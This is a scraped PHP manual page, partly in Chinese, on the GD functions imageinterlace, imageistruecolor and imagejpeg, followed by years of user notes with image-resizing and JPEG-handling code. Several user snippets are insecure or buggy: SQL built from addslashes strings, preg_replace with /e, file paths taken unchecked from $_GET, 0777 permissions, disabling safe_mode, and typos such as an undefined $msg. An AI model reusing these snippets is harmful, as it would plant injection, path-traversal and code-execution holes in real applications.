While imageinterlace() returns 0 or 1 if a valid Image resource is passed, passing a file name as a string results in a PHP warning and the return value is neither 0 nor 1.
julien / at / theoconcept.com 29-Jan-2006 02:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk 17-Jan-2006 02:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au 21-Nov-2005 08:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de 15-Jul-2005 12:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127 11-Jun-2005 03:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk 19-Nov-2004 06:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at 15-Apr-2004 10:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org 19-Mar-2004 06:25
There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer 24-Nov-2003 06:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)


检查图像是否为真彩色图像

  • ? imageinterlace
  • imagejpeg ?
  • PHP Manual
  • GD 和图像处理 函数
  • 检查图像是否为真彩色图像

imageistruecolor

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageistruecolor — 检查图像是否为真彩色图像

说明

imageistruecolor(GdImage $image): bool

imageistruecolor() 检查 image 图像是否为真彩色图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

如果 image 是真彩色返回 true，否则返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imageistruecolor() 简单检测真彩色实例

<?php
// $im is an image instance

// Check if image is a true color image or not
if(!imageistruecolor($im))
{
// Create a new true color image instance
$tc = imagecreatetruecolor(imagesx($im), imagesy($im));

// 复制像素
imagecopy($tc, $im, 0, 0, 0, 0, imagesx($im), imagesy($im));
imagedestroy($im);

$im = $tc;
$tc = NULL;

// 或者使用 imagepalettetotruecolor()
}

// Continue working with image instance
?>

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • imagepalettetotruecolor() - Converts a palette based image to true color

User Contributed Notes

There are no user contributed notes for this page.


输出图象到浏览器或文件。

  • ? imageistruecolor
  • imagelayereffect ?
  • PHP Manual
  • GD 和图像处理 函数
  • 输出图象到浏览器或文件。

imagejpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagejpeg — 输出图象到浏览器或文件。

说明

imagejpeg(GdImage $image, resource|string|null $file = null, int $quality = -1): bool

imagejpeg() 从指定 image 图像创建 JPEG 文件。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

file

文件保存的路径或者已打开的流资源（此方法返回后自动关闭该流资源），如果未设置或为 null，将会直接输出原始图象流。

quality

quality 为可选项，范围从 0（最差质量，文件最小）到 100（最佳质量，文件最大）。默认值（-1）使用 IJG 默认的质量值（大约 75）。

返回值

成功时返回 true， 或者在失败时返回 false。

Caution

如果 libgd 输出图像失败，函数会返回 true。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 输出 JPEG 图像到浏览器

<?php
// 创键空白图像并添加一些文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 设置内容类型标头 —— 这个例子里是 image/jpeg
header('Content-Type: image/jpeg');

// 输出图像
imagejpeg($im);

// 释放内存
imagedestroy($im);
?>

以上示例的输出类似于：

示例输出：输出 JPEG 图像

Example #2 保存 JPEG 图像到文件

<?php
// 创键空白图像并添加一些文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 保存图像为"simpletext.jpg"
imagejpeg($im, 'simpletext.jpg');

// 释放内存
imagedestroy($im);
?>

Example #3 以 75% 的图像质量输出图像到浏览器

<?php
// 创键空白图像并添加一些文本
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// 设置内容类型标头 —— 这个例子里是 image/jpeg
header('Content-Type: image/jpeg');

// 使用 NULL 跳过 file 参数，并设置图像质量为 75%
imagejpeg($im, NULL, 75);

// 释放内存
imagedestroy($im);
?>

注释

Note:

如果想输出渐进式 JPEG，需要使用 imageinterlace() 设置隔行扫描。

参见

  • imagepng() - 将 PNG 图像输出到浏览器或文件
  • imagegif() - 输出图象到浏览器或文件。
  • imagewbmp() - 输出图象到浏览器或文件。
  • imageinterlace() - 启用或禁用隔行扫描
  • imagetypes() - 返回 PHP 内置支持的图像类型

User Contributed Notes

Uplink 03-Mar-2023 11:01
If you use the official Docker images and enable gd with `docker-php-ext-install gd`, you don't get JPEG support by default.

If that's you, and you get "Call to undefined function imagejpeg()", the you need to do this before docker-php-ext-install:

docker-php-ext-configure gd --with-jpeg

You'll also want to install libjpeg-dev for this to work.
flying man 29-Sep-2019 08:10
ZERO BYTE FILE RESULT - HERE'S WHY!

Take to heart that CAUTION note on this function. If gdlib fails to output, it still returns true!  I'd call that a bug personally.

GD will fail to output if you have an image exceeding its maximum undisclosed dimensions of 65500 pixels.

You'll get a zero byte file instead
Bruno de Lima - bruno at tthedreamstone dot net 23-Jul-2013 07:23
[[Editor's note: removed the header()-call since it is not required when outputting inline image-data]]
One single code line, solve-me after 3 hours of blind search!

here is:

... ob_start();
  imagejpeg( $img, NULL, 100 );
  imagedestroy( $img );
  $i = ob_get_clean();

echo "<img src='data:image/jpeg;base64," . base64_encode( $i )."'>"; //saviour line!
bernytech at gmail dot com 05-May-2011 03:32
Don't be like me racking my brain for hours trying to figure out why my xxx.php file outputs http://localhost/xxx.php as a one line response.

Why?

Most likely, you have either:

1. whitespaces before or after the php tags
2. need to set header('Content-type: image/jpeg');
3. if you have required files...be sure nothing is outputted...no test print statements because page expects image information
4.  there is an error in your code

in my case, it was 4.  there is a reason why the function call base64decode does not work...

it's actually: base64_decode()

by the way, other ways to validate your image encoded in base64 is to use the following tag:

echo '<img src="data:image/jpeg;base64,'.$row['IMAGE'].'" alt="photo">';

I was pulling a blob encoded base 64 data from mysql database and trying to render it on a page

hope this helps someone.
Ray.Paseur sometimes uses Gmail 22-Sep-2010 03:06
If string $filename is given and it exists, it will be overwritten.
tomas at dundacek dot cz 08-Jun-2009 01:31
I had a problem with denied permissions when trying to upload AND resize an image having safe_mode on. This caused that I couldn't create the new file in which I wanted to resampled the image with nor with imagejpeg() nor with touch() and imagejpeg() after it.

Here is my solution, I didn't test, but it's possible, it is biting some memory:

<?php
function resize($image, $target_file) {
  // $image is the uploaded image
  list($width, $height) = getimagesize($image['tmp_name']);

  //setup the new size of the image
  $ratio = $width/$height;
  $new_height = 500;
  $new_width = $new_height * $ratio;

  //move the file in the new location
  move_uploaded_file($image['tmp_name'], $target_file);

  // resample the image
  $new_image = imagecreatetruecolor($new_width, $new_height);
  $old_image = imagecreatefromjpeg($target_file);
  imagecopyresampled($new_image,$old_image,0,0,0,0,$new_width, $new_height, $width, $height);

  //output
  imagejpeg($new_image, $target_file, 100);
}

?>

As you can see, the function moves the uploaded file where you want to save the resampled image (move_uploaded_file is not restricted by safe_mode) and then you can resample the image, because it was created by moving it already.

Note: the directory where you want to save the file must have permissions set to 0777.
viciousVelo 06-Apr-2009 07:49
for those who get the message "permission denied" or "unable to access": it looks like a problem with your writepermissions to this folder. no matter if you use windows- or linuxserver, be sure the correct user has the permission to write to the correct folder.
francesco@essensys 26-Mar-2009 05:23
I didn't find any example like this on the Web, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() only has two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
soapergem at gmail dot com 06-Nov-2008 01:48
I came here looking for something similar to the getJPEGresolution function, but noticed the drawbacks that were pointed out in the last post. So, after drawing on some other code examples on the web, I put together the following function which should always properly return the correct values. (But remember that you still need to have the EXIF extension installed with your instance of PHP for this to work!)

<?php

function jpeg_dpi($filename)
{
    if ( exif_imagetype($filename) != IMAGETYPE_JPEG ) {
        return false;
    } else {
        $exif = exif_read_data($filename, 'IFD0');
    }

    $x = $y = 0;
    if ( isset($exif['XResolution']) && isset($exif['YResolution']) ) {
        $x = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['XResolution']));
        $y = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['YResolution']));
    }

    if ( !$x && !$y && $fp = fopen($filename, 'r') ) {
        $string = fread($fp, 20);
        fclose($fp);

        $data = bin2hex(substr($string, 14, 4));
        $x = hexdec(substr($data, 0, 4));
        $y = hexdec(substr($data, 4, 4));
    }

    if ( $x || $y ) {
        return array($x, $y);
    }

    return false;
}

?>

This function returns an array with the x-resolution, y-resolution when they can be determined, otherwise FALSE.
ahows at noggin dot com dot au 21-Oct-2008 10:36
Regarding the code below, it only grabs the last byte of the DPI information in JFIF-mode. I was wondering why my 300-DPI file was being reported as 44. 300 - 256 = 44 of course.
lorezyra (at) lorezyra (dot) com 13-Sep-2008 06:50
For those looking to grab the resolution of a JPEG image without using GD nor ImageMagic... I wrote this simple function.

Too bad GD doesn't have this very simple function for us to use...

<?php
function getJPEGresolution($filename){
    $outRez=array();
    // Read the file
    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = ord($image[15]);
    $outRez["yDPI"] = ord($image[17]);
    ob_end_clean(); // stop this output buffer

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
stefan at colulus dot com 30-May-2008 11:16
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagejpeg($im);

?>
Anonymous 16-Mar-2008 10:24
Here is a function to resize an image and maintain aspect ratio. It will resize jpeg, gif or png and could easily be modified to add bmp. The name field is the destination of the file minus the file extension:

<?php
//name= filename minus type
    function createImage($uploadedfile,$newWidth,$name)
    {
        // Capture the original size of the uploaded image
        if(!$info=getimagesize($uploadedfile))
          return false;

        switch ($info['mime'])
        {
            case 'image/jpeg':
                $src = imagecreatefromjpeg($uploadedfile);
                break;
            case 'image/gif':
                $src = imagecreatefromgif($uploadedfile);
                break;
            case 'image/png':
                $src = imagecreatefrompng($uploadedfile);
                break;
            default:
                return false;
        }

        //Change the filename to add the filetype
        $mime=split("image/",$info['mime']);
        $filename=$name.".".$mime[1];

        $size = getimagesize($uploadedfile);
        $newHeight=aspect_ratio($size[0],$newWidth,$size[1]);

        $tmp=imagecreatetruecolor($newWidth,$newHeight);

        // this line actually does the image resizing, copying from the original
        // image into the $tmp image
        imagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$info[0], $info[1]);

        switch ($info['mime'])
        {
            case 'image/jpeg':
                imagejpeg($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/gif':
                imagegif($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/png':
                imagepng($tmp,$filename); //100 is the quality settings, values range from 0-100.
                break;
        }

        imagedestroy($src);
        imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
        // has completed.
        return true;
    }

    if(!createImage($uploadedfile,100, "uploaded_images/imgname"))
    {
      echo "error";
    }
?>
Michaelsoft 16-Oct-2007 02:50
[Editor's note: fixed according to the note of roberto at ilpiola.it]

I could not find any information on changing the DPI information on a JPG file using the GD lib. Since changing this does not resize or scale the actual image, it is only a header-setting.
The following snipplet will save your $image to $file and set the DPI to 150.

<?php

  imagejpeg($image, $file, 75);

  // Change DPI
  $dpi_x   = 150;
  $dpi_y   = 150;

  // Read the file
  $size    = filesize($file);
  $image   = file_get_contents($file);

  // Update DPI information in the JPG header
  $image[13] = chr(1);
  $image[14] = chr(floor($dpi_x/256));
  $image[15] = chr(      $dpi_x%256);
  $image[16] = chr(floor($dpi_y/256));
  $image[17] = chr(      $dpi_y%256);

  // Write the new JPG
  $f = fopen($file, 'w');
  fwrite($f, $msg, $size);
  fclose($f);

?>

P.s. not fully tested (yet) but it works for my images ...
Elliott Brueggeman 30-Jul-2007 09:37
I did an experiment with the image quality parameter of the imagejpeg() function when creating jpegs. I found the optimal image quality with file size is taken into account to be 80 - very close to the default value of 75.

Anything over 80 results in an unnecessary increase in file size without much increase in image quality.

Results and sample pictures: http://www.ebrueggeman.com/article_php_image_optimization.php
Pedja (pedja at supurovic dot net) 26-Jul-2007 10:59
Here is sample function that creates thumbnail of source JPEG file. Thumbnail wil be in square form (with and height are the same), and original image cropped to fit in.

Parameters:

$p_thumb_file - name of the file (including path) where thumb should be saved to

$p_photo_file - nam of the source JPEG file (including path) thatthumbnail should be created of

$p_max_size - with and height (they will be the same) in pixels for thumbnail image

$p_quality - quality of jpeg thumbnail

<?php

function photoCreateCropThumb ($p_thumb_file, $p_photo_file, $p_max_size, $p_quality = 75) {

    $pic = @imagecreatefromjpeg($p_photo_file);

    if ($pic) {
        $thumb = @imagecreatetruecolor ($p_max_size, $p_max_size) or die ("Can't create Image!");
        $width = imagesx($pic);
        $height = imagesy($pic);
        if ($width < $height) {
                $twidth = $p_max_size;
                $theight = $twidth * $height / $width;
                imagecopyresized($thumb, $pic, 0, 0, 0, ($height/2)-($width/2), $twidth, $theight, $width, $height);
        } else {
                $theight = $p_max_size;
                $twidth = $theight * $width / $height;
                imagecopyresized($thumb, $pic, 0, 0, ($width/2)-($height/2), 0, $twidth, $theight, $width, $height);
        }

        ImageJPEG ($thumb, $p_thumb_file, $p_quality);
    }

}

?>
webmaster at jongliertreff dot de 25-Aug-2006 04:56
Here's another on-the-fly thumbnail creation script.
When I scripted the pictuerviewer on my page, I had all the pictures only in full size and qualit, because I wanted the posibility für visitors to download the pictures.
But as Imagesizes of more than 4 MP are to large for websites, I created thumbnails and the smaller pictures on the fly. But I found out, that the Script needed too much RAM, especially in the thumbnail overview, when I had more then 50 thumbnails to create on the fly at the same time.

So I modified my image creator and my viewer to let them store images, that are created. So only the first visitor has to wait (which is usually me for controlling the uploads und updates), all other visitors get the stored images, which is much faster.

Create different folders. I have a main folder called 'imagesdb' and the tree subfolders full (Full quality images), show (images for the picture viewer) and thumb (for thumbnails in overview).

Store the script for example as image.php and link it like that:

<?PHP
$image_name = "foo.jpg";
$style = "show";
     // I've taken the foldernames. It's easier. For the
     //thumbnails replace "show" with "thumb".
$image_name = "imagesdb/$style/$image_name";
if(!file_exists($image_name))
        $image_name = "image.php?image_name=$image_name&style=$style";
     // only if file doesn't exist call the on-the-fly creating file
?>

Now the main script, stored in the file image.php:

<?PHP

$image_name = $_GET['image_name'];
$style = $_GET['style'];

     // Now set the maximum sizes to the different styles.
     // You may set additional styles, but remember to
     // create the according subfolders.

switch($style) {
  case "show":
    $max_size = 800;
    break;
  case "thumb":
    $max_size = 125;
}

$dest_file = "imagesdb/$style/$image_name";
     // set output file
$image_file = "imagesdb/full/$image_name";
     // set source file
$size = getimagesize($image_file);
     // get original size

if($size[0] > $size[1]) {
  $divisor = $size[0] / $max_size;
}
else {
  $divisor = $size[1] / $max_size;
}
     // to get allways pictures of the same size, which ist
     // mostly wanted in imageviewers, look what ist larger:
     // width or height

$new_width = $size[0] / $divisor;
$new_height = $size[1] / $divisor;
     // set new sizes

settype($new_width, 'integer');
settype($new_height, 'integer');
     // sizes should be integers

$image_big = imagecreatefromjpeg($image_file);
     // load original image
$image_small = imagecreatetruecolor($new_width, $new_height);
     // create new image
imagecopyresampled($image_small, $image_big, 0,0, 0,0, $new_width,$new_height, $size[0],$size[1]);
     // imageresampled whill result in a much higher quality
     // than imageresized
imagedestroy($image_big);
     // the original data are no longer used

header("Content-type: image/jpeg");

if($style=="show" || $style=="thumb") {
  if(!file_exists($dest_file))
    imagejpeg($image_small, $dest_file, 100);
}
     // if you have set additional sizese put them in the
     // if-arguments, too.
     // if someone calls the image.php directly in the
     // browser with imagenames allready existing, they
     // won't be overwritten

imagejpeg($image_small, '', 100);
imagedestroy($image_small);
     // finally send image to browser and destroy no longer
     // needed data.

?>

As this website helped me for several times in the past and for creating this script, I hope I can help others with this script saving the time for developing a much more performant solution than an allways-on-the-fly-creating script.
chris dot calo at gmail dot com 24-Jul-2006 07:30
Thanks to Stuart and Darren for the corrections to the create_thumbnail function.  Another note on that function: imagecreatefromwbmp was incorrectly used.  WBMPs are wireless bitmaps, not windows bitmaps (thanks to clambert at whitecrown), so the thumbnail routine as is will not be able to handle windows bitmaps.  See the notes at http://us2.php.net/manual/en/function.imagecreatefromwbmp.php for tips on working with windows bitmaps.
stuart at purpletoucan dot com 23-Jul-2006 10:55
Thanks to Chris dot Calo for the thumbnail snippet.  The file type issue is easily resolved by getting the type from the file with getimagesize, and you can handle unsupported types at that stage too.  Thus:

   list($img_width,$img_height, $type) = getimagesize($source_file); // Get the original dimentions
   if ($type != 1 && $type != 2 && $type != 3 && $type != 15) { die("Your file is not a supported format"); }

...and then later check the type again to open the image correctly:

   if ( $type == 1 ) { $img_source = imagecreatefromgif($source_file); }
   else if ( $type == 2 ) { $img_source = imagecreatefromjpeg($source_file); }
   else if ( $type == 3 ) { $img_source = imagecreatefrompng($source_file); }
   else if ( $type == 15 ) { $img_source = imagecreatefromwbmp($source_file); }
Darren Kulp ( kulp at thekulp dot com ) 18-Jul-2006 08:47
With regard to chris.calo's code:

// The following block retrieves the source file.  It assumes the filename extensions match the file's format.
   if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
   if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
 ... etc.

It assumes more than that, namely that the filename does not contain the strings '.gif', '.jpg', '.jpeg', '.bmp', or '.png' *anywhere* in the string. Some valid files with special filenames could break this; for example, a file named "used.to.be.a.png.file.gif" would cause this script to attempt to load the file as a PNG. Obviously this is a rare case, but the issue could be easily avoided by using "else ifs" (uses less CPU time) or checking that the extension abuts the end of the string or both.

That said, the whole business could be avoided if PHP didn't clutter the namespace with different functions to do the same thing with different image formats. Ick.
chris dot calo at gmail dot com 17-Jul-2006 02:44
function create_thumbnail( $source_file, $destination_file, $max_dimension)
{
    list($img_width,$img_height) = getimagesize($source_file); // Get the original dimentions
    $aspect_ratio = $img_width / $img_height;

    if ( ($img_width > $max_dimension) || ($img_height > $max_dimension) ) // If either dimension is too big...
    {
        if ( $img_width > $img_height ) // For wide images...
        {
            $new_width = $max_dimension;
            $new_height = $new_width / $aspect_ratio;
        }
        elseif ( $img_width < $img_height ) // For tall images...
        {
            $new_height = $max_dimension;
            $new_width = $new_height * $aspect_ratio;
        }
        elseif ( $img_width == $img_height ) // For square images...
        {
            $new_width = $max_dimension;
            $new_height = $max_dimension;
        }
        else { echo "Error reading image size."; return FALSE; }
    }
    else { $new_width = $img_width; $new_height = $img_height; } // If it's already smaller, don't change the size.

    // Make sure these are integers.
    $new_width = intval($new_width);
    $new_height = intval($new_height);

    $thumbnail = imagecreatetruecolor($new_width,$new_height); // Creates a new image in memory.

    // The following block retrieves the source file.  It assumes the filename extensions match the file's format.
    if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
    if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
    { $img_source = imagecreatefromjpeg($source_file); }
    if ( strpos($source_file,".bmp") ) { $img_source = imagecreatefromwbmp($source_file); }
    if ( strpos($source_file,".png") ) { $img_source = imagecreatefrompng($source_file); }

    // Here we resample and create the new jpeg.
    imagecopyresampled($thumbnail, $img_source, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
    imagejpeg( $thumbnail, $destination_file, 100 );

    // Finally, we destroy the two images in memory.
    imagedestroy($img_source);
    imagedestroy($thumbnail);
}
your [dot] sheepy [at] gmail [dot] com 03-Apr-2006 01:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
03-Jan-2006 05:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
Kenneth Keiter 17-Dec-2005 08:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
moron at industrial dot org 02-Nov-2005 08:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mbailey [at] aethon [dt] co [dt] uk 18-Sep-2005 01:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
Bram Van Dam 19-Aug-2005 12:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
    imagejpeg( $newimage, NULL, 100 );
    $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com> 05-Aug-2005 05:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
  }
        else {
    $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
ghokanso at cs dot ndsu dot edu 08-Jun-2005 09:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl 03-Apr-2005 03:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
Kokesh 25-Jun-2004 09:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
    header("Content-type: image/jpeg");
    $im     = imagecreatefromjpeg($pic);
    $orange = imagecolorallocate($im, 220, 210, 60);
    $px     = (imagesx($im) - 7.5 * strlen($string)) / 2;

    $old_x=imageSX($im);
    $old_y=imageSY($im);

    $new_w=(int)($width);
    if (($new_w<=0) or ($new_w>$old_x)) {
      $new_w=$old_x;
    }

    $new_h=($old_x*($new_w/$old_x));

    if ($old_x > $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$old_y*($new_h/$old_x);

    }
    if ($old_x < $old_y) {
        $thumb_w=$old_x*($new_w/$old_y);
        $thumb_h=$new_h;
    }
    if ($old_x == $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$new_h;
    }
